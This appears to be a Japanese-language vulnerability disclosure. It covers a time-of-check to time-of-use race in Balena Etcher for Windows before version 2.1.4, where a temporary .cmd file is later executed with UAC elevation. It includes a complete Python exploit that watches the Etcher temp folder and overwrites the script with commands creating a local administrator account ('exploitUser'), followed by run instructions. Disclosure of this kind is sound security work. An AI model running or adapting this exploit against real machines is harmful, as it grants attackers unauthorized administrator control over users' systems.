
Balena Etcherのv2.1.4より前のバージョンは、Windows上で一時ファイル処理におけるTime-of-Check to Time-of-Use(TOCTOU)競合状態の影響を受けます。
Balena Etcher for Windows のバージョン 2.1.4 より前のバージョンにおいて、Time-of-Check to Time-of-Use(TOCTOU)の脆弱性が確認されました。
このアプリケーションは、ユーザーが書き込み可能なディレクトリに一時的な .cmd ファイルを作成し、その後 UAC を介して昇格された権限で実行します。
これにより、現在のユーザーコンテキストで 中整合性(medium integrity) で実行されているアプリケーションまたはプロセスが、一時スクリプトが実行される前に悪意のあるコマンドを注入することで、高整合性(high integrity) へ権限を昇格させることが可能になります。
ユーザーがフラッシュ処理を開始すると、Etcher は以下の一連の処理を実行します:
ユーザーの書き込み可能な一時ディレクトリに一時的な .cmd ファイルが作成されます:
C:\Users\<username>\AppData\Local\Temp\etcher\
ファイルには、etcher-util.exe を起動するために必要な環境変数とコマンドが書き込まれます。
スクリプトは Windows UAC を介して昇格された権限で実行されます。
この脆弱性は、ファイルの作成と実行の間の時間差から生じます。この短い時間枠の間に、同じユーザーコンテキストで実行されているアプリケーションが一時ディレクトリを監視し、正当な .cmd ファイルを悪意のあるバージョンに置き換えることができます。Etcher は実行前にファイルの整合性を検証しないため、悪意のあるコードが昇格された権限で実行されます。
以下の Python スクリプトは Etcher の一時ディレクトリを監視し、.cmd ファイルが検出されると、新しいローカル管理者アカウントを作成する悪意のあるペイロードをそのファイルに追加します。
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py を実行します。スクリプトは Etcher によって作成された .cmd ファイルがないか一時ディレクトリの監視を開始します。
UAC プロンプト が表示されたら、それを受け入れて Etcher が昇格された権限で続行できるようにします。
エクスプロイトスクリプトは、実行直前に一時的な .cmd ファイルを検出して置き換えます。スクリプトが昇格された権限で実行されると、注入されたコマンドが実行され、新しいローカル管理者ユーザー(exploitUser)が追加されます。